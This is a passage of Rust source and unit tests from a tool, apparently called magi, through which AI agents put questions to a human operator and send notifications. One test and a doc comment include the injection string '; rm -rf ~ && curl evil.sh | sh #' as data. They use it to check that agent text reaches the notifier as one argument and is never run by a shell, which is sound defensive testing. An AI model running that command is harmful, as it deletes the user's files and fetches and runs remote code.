1743    // most often because they did so in the gap between an earlier call
1744    // reporting `Wait::Pending` and this one picking the wait back up with
1745    // `--wait`. That word must surface at once rather than sit unnoticed
1746    // until some *later* turn happens to change something: this call never
1747    // saw it get added, so nothing below would otherwise recognise it as
1748    // new. `last_word_awaiting_reply` reads the question's own record of
1749    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
1750    // turn count this call would have to have been there to capture.
1751    if let Some(said) = q.unread_from_owner() {
1752        return Ok(Wait::Replied(said));
1753    }
1754    hold(store, &q.id);
1755
1756    let bounded = timeout.min(slice);
1757    let is_the_real_deadline = bounded >= timeout;
1758    let deadline = tokio::time::Instant::now() + bounded;
1759    loop {
1760        let now = tokio::time::Instant::now();
1761        if now >= deadline {
1762            if !is_the_real_deadline {
1763                // The lease is left to age out on purpose: the caller is about
1764                // to run `magi ask --wait`, and that gap is what LEASE_TTL
1765                // covers.
1766                return Ok(Wait::Pending);
1767            }
1768            let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1769            // Re-checked on the record as it is now: the owner may have said
1770            // something in time since the last poll, and that word is handed
1771            // over, not abandoned.
1772            let (fresh, unread) = store
1773                .update(&q.id, |r| {
1774                    let unread = r.unread_from_owner();
1775                    if unread.is_none() {
1776                        r.abandon(&why);
1777                        r.waiter = None;
1778                    }
1779                    Ok(unread)
1780                })
1781                .context("record the abandoned question")?;
1782            *q = fresh;
1783            if let Some(said) = unread {
1784                return Ok(Wait::Replied(said));
1785            }
1786            tracing::warn!(
1787                "question {} went unanswered for {}s; the run parks and the \
1788                 question stays as the record of it",
1789                q.short(),
1790                timeout.as_secs()
1791            );
1792            return Ok(Wait::Abandoned);
1793        }
1794        tokio::time::sleep(poll.min(deadline - now)).await;
1795        store.beat(&q.id, WaiterKind::Asker);
1796        match store.get(&q.id) {
1797            Ok(fresh) if !fresh.status.open() => {
1798                // Whoever answered - the phone, `magi answer`, another daemon -
1799                // owns the record now, so adopt theirs wholesale rather than
1800                // merging into a copy that predates it.
1801                *q = fresh;
1802                return Ok(match q.resolution() {
1803                    Some(a) => Wait::Answered(a),
1804                    // Closed with no decision - abandoned elsewhere, most
1805                    // often by the run behind it being deleted mid-wait.
1806                    None => Wait::Abandoned,
1807                });
1808            }
1809            Ok(fresh) => {
1810                if let Some(said) = fresh.unread_from_owner() {
1811                    *q = fresh;
1812                    return Ok(Wait::Replied(said));
1813                }
1814                // Still open and not waiting on the agent - nothing this
1815                // wait cares about happened, so keep polling.
1816            }
1817            Err(e) => {
1818                // Mid-rename, or a file the operator is editing by hand.
1819                // Neither is a reason to abandon a question a human may still
1820                // answer, so keep polling until the deadline decides.
1821                tracing::debug!("could not re-read question {}: {e:#}", q.short());
1822            }
1823        }
1824    }
1825}
1826
1827/// Run the operator's notification command, if one is configured.
1828///
1829/// The command is argv, never a shell string, and the substitutions below are a
1830/// single pass over each argument: a summary containing `; rm -rf ~` is one
1831/// argument to one program, and a summary containing the characters `{run}` is
1832/// not re-expanded. That property is the reason agent-authored text can be put
1833/// in a notification at all.
1834///
1835/// An error here is reported, not swallowed, so `magi notify --test` can show
1836/// the operator why nothing arrives. The waiting path logs it and carries on.
1837pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1838    notify_text(cmd, &q.run, &q.summary).await
1839}
1840
1841/// [`notify`] for an event that is not a question: the same command, the same
1842/// placeholders, with `summary` and `run` supplied directly.
1843pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1844    let Some((program, args)) = cmd.command.split_first() else {
1845        // No command configured: the web UI is the only surface, by choice.
1846        return Ok(());
1847    };
1848    let url = web_url();
1849    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1850        tracing::warn!(
1851            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1852             so the link will be empty - export it next to `magi serve` with \
1853             the address `magi web --open` printed"
1854        );
1855    }
1856    let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
1857    tracing::debug!(program = %program, args = ?argv, "notifying");
1858
1859    let mut child = tokio::process::Command::new(program);
1860    child.quiet();
1861    child
1862        .args(&argv)
1863        .stdin(std::process::Stdio::null())
1864        // Killed if the timeout below drops this future: a notification
1865        // command left running would outlive the run it was announcing.
1866        .kill_on_drop(true);
1867    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1868        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1869        Err(_) => bail!(
1870            "notification command `{program}` did not finish within {}s",
1871            NOTIFY_TIMEOUT.as_secs()
1872        ),
1873    };
1874    if !out.status.success() {
1875        let stderr = String::from_utf8_lossy(&out.stderr);
1876        let why = stderr
1877            .lines()
1878            .rev()
1879            .find(|l| !l.trim().is_empty())
1880            .unwrap_or("no output on stderr")
1881            .trim();
1882        bail!(
1883            "notification command `{program}` exited with {}: {why}",
1884            out.status
1885        );
1886    }
1887    Ok(())
1888}
1889
1890/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
1891///
1892/// One left-to-right pass, so a substituted value is never scanned for further
1893/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
1894/// in a question must not make the notification recursive.
1895fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
1896    let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
1897    let mut out = String::with_capacity(template.len());
1898    let mut rest = template;
1899    while let Some(at) = rest.find('{') {
1900        out.push_str(&rest[..at]);
1901        let tail = &rest[at..];
1902        match table.iter().find(|(token, _)| tail.starts_with(token)) {
1903            Some((token, value)) => {
1904                out.push_str(value);
1905                rest = &tail[token.len()..];
1906            }
1907            None => {
1908                // Not a placeholder magi knows: it is the operator's own text.
1909                out.push('{');
1910                rest = &tail[1..];
1911            }
1912        }
1913    }
1914    out.push_str(rest);
1915    out
1916}
1917
1918/// The URL `{url}` expands to, from [`WEB_URL_ENV`].
1919fn web_url() -> String {
1920    question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1921}
1922
1923/// Point a configured base URL at the view that can answer the question.
1924///
1925/// A notification the operator has to navigate from is a question that stays
1926/// unanswered until morning, so the questions view is appended - unless the
1927/// operator already wrote a fragment, in which case they have said where they
1928/// want to land and magi does not know better.
1929fn question_url(base: &str) -> String {
1930    let base = base.trim().trim_end_matches('/');
1931    if base.is_empty() || base.contains('#') {
1932        return base.to_owned();
1933    }
1934    format!("{base}/#/questions")
1935}
1936
1937/// Assemble a panel's contents in an already-empty directory.
1938///
1939/// Split out so [`Questions::put_panel`] can delete the whole directory on the
1940/// first error without an early `return` skipping that cleanup.
1941fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1942    let index = dir.join(PANEL_HTML);
1943    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1944    for (name, src) in assets {
1945        let dst = dir.join(name);
1946        std::fs::copy(src, &dst)
1947            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1948    }
1949    Ok(())
1950}
1951
1952/// Remove a directory and everything under it, treating "not there" as done.
1953///
1954/// A panel is replaced wholesale and dropped idempotently, and in both cases
1955/// the absence of the directory is the desired end state, not an error.
1956fn clear_dir(path: &Path) -> Result<()> {
1957    match std::fs::remove_dir_all(path) {
1958        Ok(()) => Ok(()),
1959        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1960        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1961    }
1962}
1963
1964fn read_path(path: &Path) -> Result<Question> {
1965    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1966    let q: Question =
1967        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1968    if q.schema > SCHEMA {
1969        // Strictly newer, not merely different: every field added since
1970        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
1971        // here as "no thread yet" rather than as garbage. Only a schema this
1972        // build has never heard of is refused.
1973        bail!(
1974            "question {} was written by a newer magi (schema {}, this build \
1975             only speaks up to {SCHEMA})",
1976            q.id,
1977            q.schema
1978        );
1979    }
1980    Ok(q)
1981}
1982
1983/// [`short`] for callers outside this module (a run id shortens the same way).
1984pub fn short_id(id: &str) -> &str {
1985    short(id)
1986}
1987
1988fn short(id: &str) -> &str {
1989    id.split('-').next_back().unwrap_or(id)
1990}
1991
1992fn new_id() -> String {
1993    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
1994    let seed = crate::rng::entropy();
1995    format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
1996}
1997
1998#[cfg(test)]
1999mod tests {
2000    use super::*;
2001
2002    /// A store of its own, with no process-global state - which is the point of
2003    /// `Questions::at`, and why these can run in parallel.
2004    fn store() -> (tempfile::TempDir, Questions) {
2005        let dir = tempfile::tempdir().unwrap();
2006        let s = Questions::at(dir.path().join("questions"));
2007        (dir, s)
2008    }
2009
2010    #[test]
2011    fn run_names_task_only_for_task_questions() {
2012        for (node, want) in [
2013            (crate::conduct::NODE, true),
2014            (crate::triage::NODE, true),
2015            (crate::triage::DEPS_NODE, true),
2016            (crate::land::APPROVAL_NODE, false),
2017            (crate::bump::NOTICE_NODE, false),
2018            ("implement", false),
2019        ] {
2020            let mut q = choice_question();
2021            q.node = node.to_owned();
2022            assert_eq!(q.run_names_task(), want, "{node}");
2023        }
2024    }
2025
2026    #[test]
2027    fn deleting_a_run_stops_its_questions_asking() {
2028        let (_dir, store) = store();
2029
2030        let mut open_one = choice_question();
2031        store.put(&mut open_one).unwrap();
2032        let mut answered = free_question();
2033        answered
2034            .answer(Answer::Text("keep this".to_owned()))
2035            .unwrap();
2036        store.put(&mut answered).unwrap();
2037        let mut elsewhere = choice_question();
2038        elsewhere.run = "20260903-105039-3cbf".to_owned();
2039        store.put(&mut elsewhere).unwrap();
2040
2041        let n = store
2042            .abandon_for_run(&open_one.run, "run was deleted")
2043            .unwrap();
2044        assert_eq!(n, 1, "only the open question of that run");
2045
2046        let back = store.get(&open_one.id).unwrap();
2047        assert!(!back.status.open(), "it no longer asks for a decision");
2048        assert!(
2049            back.detail.contains("run was deleted"),
2050            "the operator can see why: {}",
2051            back.detail
2052        );
2053
2054        let kept = store.get(&answered.id).unwrap();
2055        assert_eq!(
2056            kept.status,
2057            QuestionStatus::Answered,
2058            "an answered question is a decision on record, not something to revoke"
2059        );
2060        assert!(
2061            store.get(&elsewhere.id).unwrap().status.open(),
2062            "another run's question is untouched"
2063        );
2064        assert!(store.open_for(&open_one.run).is_empty());
2065    }
2066
2067    #[test]
2068    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2069        let (_dir, store) = store();
2070        let mut q = choice_question();
2071        store.put(&mut q).unwrap();
2072
2073        // `Blocked` can still be resumed - leave it exactly as it was.
2074        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2075        assert_eq!(n, 0);
2076        assert!(store.get(&q.id).unwrap().status.open());
2077
2078        // `Failed` is not - abandon it, with the run and its fate in the
2079        // reason so the owner can tell what happened without a run to read.
2080        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2081        assert_eq!(n, 1);
2082        let back = store.get(&q.id).unwrap();
2083        assert!(!back.status.open());
2084        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2085
2086        // A second call against the same, now-settled run finds nothing left.
2087        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2088    }
2089
2090    fn choice_question() -> Question {
2091        Question::new(
2092            "20260902-201256-9fb7".to_owned(),
2093            "implement".to_owned(),
2094            "impl-A".to_owned(),
2095            "Which storage backend should the cache use?".to_owned(),
2096            "Both are already dependencies.".to_owned(),
2097            vec!["SQLite".to_owned(), "Redis".to_owned()],
2098        )
2099    }
2100
2101    fn free_question() -> Question {
2102        Question::new(
2103            "20260902-201256-9fb7".to_owned(),
2104            "review".to_owned(),
2105            "rev-1".to_owned(),
2106            "What should the error message say?".to_owned(),
2107            String::new(),
2108            Vec::new(),
2109        )
2110    }
2111
2112    /// No notification, which is the default and what most of these want.
2113    fn quiet() -> config::Notify {
2114        config::Notify::default()
2115    }
2116
2117    #[test]
2118    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2119        // The front end parses these names by hand; there is no shared schema
2120        // and no compiler between the two. A rename here is a UI that shows an
2121        // empty card and reports no error, so the names are asserted literally.
2122        let mut q = choice_question();
2123        q.id = "20260902-231501-ab12".to_owned();
2124        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2125        // `serde_json::Value` holds an object's keys sorted, and key order
2126        // means nothing to a JSON reader anyway: the field *set* is what the
2127        // front end was written against, so that is what is pinned here.
2128        let keys: Vec<&str> = open
2129            .as_object()
2130            .unwrap()
2131            .keys()
2132            .map(String::as_str)
2133            .collect();
2134        assert_eq!(
2135            keys,
2136            [
2137                "actions",
2138                "answer",
2139                "answer_delivered",
2140                "answer_timeout",
2141                "answered_at",
2142                "asked_at",
2143                "assets",
2144                "choices",
2145                "consult",
2146                "cwd",
2147                "decision_context",
2148                "delivered_turns",
2149                "deputy",
2150                "detail",
2151                "id",
2152                "merge_target",
2153                "node",
2154                "panel",
2155                "run",
2156                "schema",
2157                "seat",
2158                "status",
2159                "summary",
2160                "thread",
2161                "triage_generation",
2162                "waiter",
2163            ],
2164            "the on-disk field set is a contract with the front end"
2165        );
2166        assert_eq!(open["schema"], 11);
2167        assert_eq!(open["merge_target"], serde_json::Value::Null);
2168        assert_eq!(open["triage_generation"], serde_json::Value::Null);
2169        assert_eq!(open["thread"], serde_json::json!([]));
2170        assert_eq!(open["id"], "20260902-231501-ab12");
2171        assert_eq!(open["run"], "20260902-201256-9fb7");
2172        assert_eq!(open["node"], "implement");
2173        assert_eq!(open["seat"], "impl-A");
2174        assert_eq!(open["status"], "open");
2175        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2176        assert_eq!(open["answered_at"], serde_json::Value::Null);
2177        assert_eq!(open["answer"], serde_json::Value::Null);
2178        let asked = open["asked_at"].as_str().unwrap();
2179        assert!(
2180            asked.ends_with('Z') && asked.contains('T'),
2181            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2182        );
2183
2184        // A chosen option, exactly as the contract spells it.
2185        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2186        let answered = serde_json::to_value(&q).unwrap();
2187        assert_eq!(answered["status"], "answered");
2188        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2189        assert!(answered["answered_at"].is_string());
2190
2191        // And free text, which is the other of the two forms.
2192        let mut free = free_question();
2193        free.answer(Answer::Text("Say which file it was".to_owned()))
2194            .unwrap();
2195        assert_eq!(
2196            serde_json::to_value(&free).unwrap()["answer"],
2197            serde_json::json!({"text": "Say which file it was"})
2198        );
2199
2200        // And it survives the round trip a reader actually performs.
2201        let body = serde_json::to_string(&q).unwrap();
2202        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2203    }
2204
2205    #[test]
2206    fn merge_target_persists_and_schema_10_questions_remain_readable() {
2207        let (_dir, store) = store();
2208        let mut q = approval_question();
2209        q.merge_target = Some(crate::merge_decision::Target {
2210            pr: "https://github.com/example/repo/pull/42".into(),
2211            head: "reviewed-head".into(),
2212            language: "ja".into(),
2213        });
2214        store.put(&mut q).unwrap();
2215        let saved = store.get(&q.id).unwrap();
2216        assert_eq!(saved, q);
2217        let mut body = serde_json::to_value(&saved).unwrap();
2218        assert_eq!(body["schema"], 11);
2219        assert_eq!(
2220            body["merge_target"],
2221            serde_json::json!({
2222                "pr": "https://github.com/example/repo/pull/42",
2223                "head": "reviewed-head",
2224                "language": "ja"
2225            })
2226        );
2227
2228        // Earlier merge/hold cards have no target field. Read the actual
2229        // on-disk shape through the store, including its schema guard.
2230        body["schema"] = serde_json::json!(10);
2231        body.as_object_mut().unwrap().remove("merge_target");
2232        std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2233        let legacy = store.get(&q.id).unwrap();
2234        assert_eq!(legacy.schema, 10);
2235        assert!(legacy.merge_target.is_none());
2236        assert_eq!(legacy.choices, q.choices);
2237        assert_eq!(legacy.status, q.status);
2238    }
2239
2240    #[test]
2241    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2242        // Four different mistakes, four different fixes: the web handler shows
2243        // these strings to the person who made them.
2244        let mut unoffered = choice_question();
2245        let a = unoffered
2246            .answer(Answer::Choice("Postgres".to_owned()))
2247            .unwrap_err()
2248            .to_string();
2249
2250        let mut typed = choice_question();
2251        let b = typed
2252            .answer(Answer::Text("use Postgres".to_owned()))
2253            .unwrap_err()
2254            .to_string();
2255
2256        let mut blank = free_question();
2257        let c = blank
2258            .answer(Answer::Text("   \n".to_owned()))
2259            .unwrap_err()
2260            .to_string();
2261
2262        let mut twice = choice_question();
2263        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2264        let d = twice
2265            .answer(Answer::Choice("Redis".to_owned()))
2266            .unwrap_err()
2267            .to_string();
2268
2269        assert!(a.contains("not one of the choices"), "{a}");
2270        assert!(b.contains("multiple choice"), "{b}");
2271        assert!(c.contains("empty"), "{c}");
2272        assert!(d.contains("already answered"), "{d}");
2273        let mut distinct = vec![a, b, c, d];
2274        let asked = distinct.len();
2275        distinct.sort_unstable();
2276        distinct.dedup();
2277        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2278
2279        // The refused ones are still open, so the owner can answer properly.
2280        assert_eq!(unoffered.status, QuestionStatus::Open);
2281        assert_eq!(typed.status, QuestionStatus::Open);
2282        assert_eq!(blank.status, QuestionStatus::Open);
2283        // And the first answer to the double-answered one survived.
2284        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2285
2286        // Free text refuses a fabricated choice for the mirror-image reason.
2287        let mut free = free_question();
2288        let e = free
2289            .answer(Answer::Choice("SQLite".to_owned()))
2290            .unwrap_err()
2291            .to_string();
2292        assert!(e.contains("free text"), "{e}");
2293    }
2294
2295    #[test]
2296    fn open_questions_are_listed_before_answered_ones() {
2297        let (_dir, s) = store();
2298        // Ids carry a timestamp, so force a known order: the answered one is
2299        // the newest, and must still sort below the open ones.
2300        let mut old_open = choice_question();
2301        old_open.id = "20260101-000001-aaaa".to_owned();
2302        let mut new_open = choice_question();
2303        new_open.id = "20260101-000002-bbbb".to_owned();
2304        let mut answered = choice_question();
2305        answered.id = "20260101-000003-cccc".to_owned();
2306        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2307        for q in [&mut old_open, &mut new_open, &mut answered] {
2308            s.put(q).unwrap();
2309        }
2310
2311        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2312        assert_eq!(
2313            ids,
2314            [
2315                "20260101-000002-bbbb",
2316                "20260101-000001-aaaa",
2317                "20260101-000003-cccc"
2318            ],
2319            "what has stopped work comes first; history sorts underneath"
2320        );
2321        assert_eq!(s.count_open(), 2);
2322        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2323        assert!(s.open_for("some-other-run").is_empty());
2324        // The short id is what the phone and the reports show.
2325        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2326        assert!(s.get("20260101-000002-bbbb").is_ok());
2327        assert!(s.resolve_id("nope").is_err());
2328        assert!(
2329            s.revision() > 0,
2330            "the store's mtime drives the phone's polling"
2331        );
2332    }
2333
2334    #[test]
2335    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2336        let (_dir, s) = store();
2337        let mut good = choice_question();
2338        s.put(&mut good).unwrap();
2339        // Truncated by a killed writer, and written by a magi from the future.
2340        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2341        let future = serde_json::json!({
2342            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2343            "seat": "s", "summary": "?", "detail": "", "choices": [],
2344            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2345            "answered_at": null, "answer": null,
2346        });
2347        std::fs::write(
2348            s.path_of("20260101-000010-beef"),
2349            serde_json::to_string(&future).unwrap(),
2350        )
2351        .unwrap();
2352
2353        let listed = s.list();
2354        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2355        assert_eq!(listed[0].id, good.id);
2356        // Asked for by name, the unreadable one explains itself instead.
2357        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2358        assert!(e.contains("schema"), "{e}");
2359    }
2360
2361    #[tokio::test]
2362    async fn the_wait_returns_the_answer_another_process_wrote() {
2363        // The phone, `magi answer` and this run are three processes with no
2364        // channel between them: the file is the channel, so the wait has to see
2365        // a write it did not make. Sub-second timings keep this a real wait
2366        // without a real one's duration.
2367        let (dir, s) = store();
2368        let mut q = choice_question();
2369        let id = q.id.clone();
2370        let writer = Questions::at(dir.path().join("questions"));
2371        let handle = tokio::spawn(async move {
2372            tokio::time::sleep(Duration::from_millis(30)).await;
2373            let mut fresh = writer.get(&id).expect("the question was filed first");
2374            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2375            writer.put(&mut fresh).unwrap();
2376        });
2377
2378        let got = wait_for_owner(
2379            &mut q,
2380            &s,
2381            &quiet(),
2382            Duration::from_secs(5),
2383            Duration::from_millis(10),
2384        )
2385        .await
2386        .unwrap();
2387
2388        handle.await.unwrap();
2389        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2390        assert_eq!(
2391            q.status,
2392            QuestionStatus::Answered,
2393            "the caller's copy is refreshed from the answering process's record"
2394        );
2395        assert!(q.answered_at.is_some());
2396    }
2397
2398    #[tokio::test]
2399    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2400        let (_dir, s) = store();
2401        let mut q = choice_question();
2402
2403        let got = wait_for_owner(
2404            &mut q,
2405            &s,
2406            &quiet(),
2407            Duration::from_millis(60),
2408            Duration::from_millis(10),
2409        )
2410        .await
2411        .unwrap();
2412
2413        assert_eq!(
2414            got,
2415            Wait::Abandoned,
2416            "a slow human is not an error; the run parks"
2417        );
2418        assert_eq!(q.status, QuestionStatus::Abandoned);
2419        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2420        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2421        assert!(
2422            on_disk.detail.contains("Abandoned:"),
2423            "why nobody answered belongs with the question: {}",
2424            on_disk.detail
2425        );
2426        assert!(on_disk.resolution().is_none());
2427        assert_eq!(s.count_open(), 0);
2428    }
2429
2430    #[tokio::test]
2431    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2432        // This is the whole point of slicing: `timeout` (the real
2433        // `answer_timeout` budget) is far larger than `slice`, so the loop
2434        // must land on `slice` first and hand back `Pending` - not read the
2435        // silence so far as the owner having given up.
2436        let (_dir, s) = store();
2437        let mut q = choice_question();
2438        s.put(&mut q).unwrap();
2439
2440        let got = wait_loop(
2441            &mut q,
2442            &s,
2443            Duration::from_secs(3600),
2444            Duration::from_millis(30),
2445            Duration::from_millis(10),
2446        )
2447        .await
2448        .unwrap();
2449
2450        assert_eq!(
2451            got,
2452            Wait::Pending,
2453            "the clock on this call ran out, not the owner's patience"
2454        );
2455        assert_eq!(
2456            q.status,
2457            QuestionStatus::Open,
2458            "a slice expiring must never abandon the question"
2459        );
2460        let on_disk = s.get(&q.id).expect("still on disk, still open");
2461        assert_eq!(
2462            on_disk.status,
2463            QuestionStatus::Open,
2464            "nothing about the record changed just because this call gave up"
2465        );
2466    }
2467
2468    #[tokio::test]
2469    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2470        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
2471        // and returns `Pending`, a second slice - a fresh call, exactly as a
2472        // fresh process would make - picks the same question back up and
2473        // sees an answer written in between.
2474        let (dir, s) = store();
2475        let mut q = choice_question();
2476        s.put(&mut q).unwrap();
2477
2478        let first = wait_loop(
2479            &mut q,
2480            &s,
2481            Duration::from_secs(3600),
2482            Duration::from_millis(30),
2483            Duration::from_millis(10),
2484        )
2485        .await
2486        .unwrap();
2487        assert_eq!(first, Wait::Pending);
2488
2489        let id = q.id.clone();
2490        let writer = Questions::at(dir.path().join("questions"));
2491        let mut fresh = writer.get(&id).unwrap();
2492        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2493        writer.put(&mut fresh).unwrap();
2494
2495        // `resume_wait` uses its own production poll interval rather than a
2496        // test-injected one, so the budget here only needs to be large enough
2497        // to cover one real poll tick - the point is that it is `resume_wait`
2498        // itself, not a helper, that finds the answer.
2499        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2500            .await
2501            .unwrap();
2502        assert_eq!(second, Wait::Answered("Redis".to_owned()));
2503        assert_eq!(q.status, QuestionStatus::Answered);
2504    }
2505
2506    #[tokio::test]
2507    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2508        // The owner can speak back while nothing is running at all - between
2509        // one call reporting `Wait::Pending` and the next `--wait` picking
2510        // the question back up - and whoever resumes the wait loads a
2511        // *fresh* copy of the question off disk, one whose thread already
2512        // contains that reply. A baseline taken from that fresh copy would
2513        // treat the reply as pre-existing and never notice it "arrive",
2514        // leaving the agent polling in silence until `answer_timeout`
2515        // eventually abandons the question - replacing the exact accident
2516        // this feature exists to fix with a quieter version of itself.
2517        let (dir, s) = store();
2518        let mut q = choice_question();
2519        s.put(&mut q).unwrap();
2520
2521        let first = wait_loop(
2522            &mut q,
2523            &s,
2524            Duration::from_secs(3600),
2525            Duration::from_millis(30),
2526            Duration::from_millis(10),
2527        )
2528        .await
2529        .unwrap();
2530        assert_eq!(first, Wait::Pending);
2531
2532        // The owner speaks back during the gap, with nobody running yet.
2533        let id = q.id.clone();
2534        let writer = Questions::at(dir.path().join("questions"));
2535        let mut fresh = writer.get(&id).unwrap();
2536        fresh.say("why not Postgres?").unwrap();
2537        writer.put(&mut fresh).unwrap();
2538
2539        // `magi ask --wait` re-reads the question rather than reusing the
2540        // stale in-memory copy the earlier call held - so the copy handed to
2541        // `resume_wait` here already carries the reply, same as `fresh` above.
2542        let mut resumed = s.get(&id).unwrap();
2543        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2544            .await
2545            .unwrap();
2546        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2547        assert_eq!(
2548            resumed.status,
2549            QuestionStatus::Open,
2550            "talking back is not a decision; the question stays open"
2551        );
2552    }
2553
2554    #[tokio::test]
2555    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2556        // A broken webhook must not throw away an implementation, so the wait
2557        // reports the failure and carries on. `notify` itself still says what
2558        // went wrong, because `magi notify --test` has to be able to show it.
2559        let (dir, s) = store();
2560        let broken = config::Notify {
2561            command: vec![
2562                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2563                "{summary}".to_owned(),
2564            ],
2565        };
2566        let mut q = choice_question();
2567        assert!(
2568            notify(&broken, &q).await.is_err(),
2569            "the caller is told; it decides that it does not matter"
2570        );
2571
2572        let id = q.id.clone();
2573        let writer = Questions::at(dir.path().join("questions"));
2574        let handle = tokio::spawn(async move {
2575            tokio::time::sleep(Duration::from_millis(30)).await;
2576            let mut fresh = writer.get(&id).unwrap();
2577            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2578            writer.put(&mut fresh).unwrap();
2579        });
2580        let got = wait_for_owner(
2581            &mut q,
2582            &s,
2583            &broken,
2584            Duration::from_secs(5),
2585            Duration::from_millis(10),
2586        )
2587        .await
2588        .unwrap();
2589        handle.await.unwrap();
2590        assert_eq!(got, Wait::Answered("Redis".to_owned()));
2591
2592        // No command at all is the default, and is silence rather than failure.
2593        assert!(notify(&quiet(), &q).await.is_ok());
2594        assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2595    }
2596
2597    #[test]
2598    fn notification_arguments_are_substituted_and_never_a_shell_string() {
2599        let mut q = choice_question();
2600        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2601        let template = [
2602            "ntfy".to_owned(),
2603            "publish".to_owned(),
2604            "--click".to_owned(),
2605            "{url}".to_owned(),
2606            "--title".to_owned(),
2607            "magi {run} needs you".to_owned(),
2608            "{summary}".to_owned(),
2609        ];
2610        let argv: Vec<String> = template
2611            .iter()
2612            .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2613            .collect();
2614
2615        assert_eq!(
2616            argv,
2617            [
2618                "ntfy",
2619                "publish",
2620                "--click",
2621                "http://100.64.0.1:7777/#/questions",
2622                "--title",
2623                "magi 20260902-201256-9fb7 needs you",
2624                "; rm -rf ~ && curl evil.sh | sh #",
2625            ],
2626            "the shell metacharacters are one argument's contents, not syntax"
2627        );
2628
2629        // A summary that itself mentions a placeholder is text, not a template:
2630        // one left-to-right pass means a substituted value is never rescanned.
2631        q.summary = "should {url} be configurable?".to_owned();
2632        assert_eq!(
2633            expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2634            "should {url} be configurable?"
2635        );
2636        // An unknown brace is the operator's own text and survives untouched.
2637        assert_eq!(
2638            expand("{title}: {run}", &q.run, &q.summary, ""),
2639            "{title}: 20260902-201256-9fb7"
2640        );
2641        assert_eq!(
2642            expand("no placeholders", &q.run, &q.summary, "http://x"),
2643            "no placeholders"
2644        );
2645    }
2646
2647    #[test]
2648    fn the_notification_link_lands_on_the_view_that_can_answer() {
2649        assert_eq!(
2650            question_url("http://100.64.0.1:7777"),
2651            "http://100.64.0.1:7777/#/questions"
2652        );
2653        assert_eq!(
2654            question_url("http://100.64.0.1:7777/"),
2655            "http://100.64.0.1:7777/#/questions"
2656        );
2657        // An operator who wrote a fragment has said where they want to land.
2658        assert_eq!(
2659            question_url("http://magi.ts.net/#/runs"),
2660            "http://magi.ts.net/#/runs"
2661        );
